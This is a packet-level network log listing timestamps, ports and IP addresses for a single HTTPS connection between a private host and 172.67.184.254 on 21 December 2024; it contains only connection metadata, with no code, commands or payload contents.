Dec 21, 2024 19:24:55.241605043 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.241605043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241703033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241703033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241750002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241750002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241849899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241849899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241946936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.241946936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242048025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242048979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242095947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242096901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242144108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242144108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242166996 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.242173910 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.242192030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242192984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242247105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242296934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242296934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242343903 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242446899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242448092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242497921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242497921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242594004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242645025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242645979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242738008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.242743969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242743969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242790937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242841005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242841005 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.242938042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243002892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243086100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243086100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243129015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243129015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243179083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243227959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243277073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243277073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243314028 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.243375063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243375063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243422031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243472099 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243520975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243654966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243731976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243731976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243777990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243828058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243877888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243879080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243879080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.243896008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.243926048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244024992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244025946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244025946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244056940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.244100094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244100094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244148016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244198084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244198084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244247913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244247913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244344950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244344950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244441986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244492054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244492054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244518042 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.244555950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244555950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244556904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244556904 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244602919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244703054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244703054 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244800091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244800091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244848013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244848967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244896889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244898081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244947910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.244947910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245043993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245043993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245068073 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.245107889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245157957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245157957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245204926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245254993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245254993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245302916 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245304108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245423079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245500088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245500088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245546103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245567083 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.245601892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245601892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245603085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245603085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245647907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245697975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245759964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245759964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245857954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245857954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245858908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245903969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245954990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245954990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.245954990 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246001959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246052027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246150970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246150970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246177912 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.246257067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246257067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246293068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246293068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246336937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246386051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246386051 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246488094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246488094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246532917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246582031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246582031 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246630907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246680021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246680021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246696949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.246743917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246745110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246793985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246851921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246851921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246898890 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246949911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246949911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246949911 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.246998072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247046947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247046947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247097015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247097015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247143984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247242928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247276068 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.247301102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247301102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247391939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247391939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247391939 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247438908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247492075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247492075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247596025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247596025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247641087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247659922 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.247704029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247704029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247752905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247752905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247802019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247802019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247849941 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247901917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247901917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247901917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247998953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.247998953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248095989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248145103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248145103 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248193979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248230934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.248292923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248292923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248341084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248390913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248390913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248390913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248502970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248502970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248552084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248552084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248652935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248652935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248652935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248698950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248698950 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248747110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248748064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248800039 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.248907089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248907089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.248953104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249002934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249052048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249052048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249102116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249103069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249150991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249150991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249198914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249299049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249299049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249299049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249375105 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.249404907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249404907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249444008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249444008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249494076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249494076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249542952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249542952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249591112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249689102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249689102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249789953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249789953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249835968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249885082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249885082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249934912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249934912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249934912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.249953032 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.250003099 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250003099 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250102043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250102043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250149965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250199080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250298023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250298977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250344992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250396013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250396967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250396967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250443935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250541925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250541925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250591040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250591993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250639915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250639915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250689983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250689983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250737906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250737906 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250787973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250787973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250886917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250886917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250998974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.250999928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251030922 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.251059055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251059055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251059055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251106024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251154900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251154900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251254082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251254082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251302004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251351118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251399994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251399994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251449108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251449108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251497984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251497984 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251599073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251599073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251647949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251693964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251746893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251746893 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.251795053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.462301970 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.462488890 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:55.894273043 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:55.894542933 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.164855957 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.164905071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.164926052 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165113926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165113926 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165173054 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165195942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165225983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165225983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165226936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165251970 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165267944 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165282965 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165293932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165318012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165318012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165333986 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165349007 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165366888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165380955 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165416956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165416956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165435076 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165452957 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165491104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165491104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165492058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165520906 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165606022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165606022 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165637016 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:56.165673018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165673018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165760040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165760040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165760040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:56.165781021 CET	443	49766	172.67.184.254	192.168.11.20
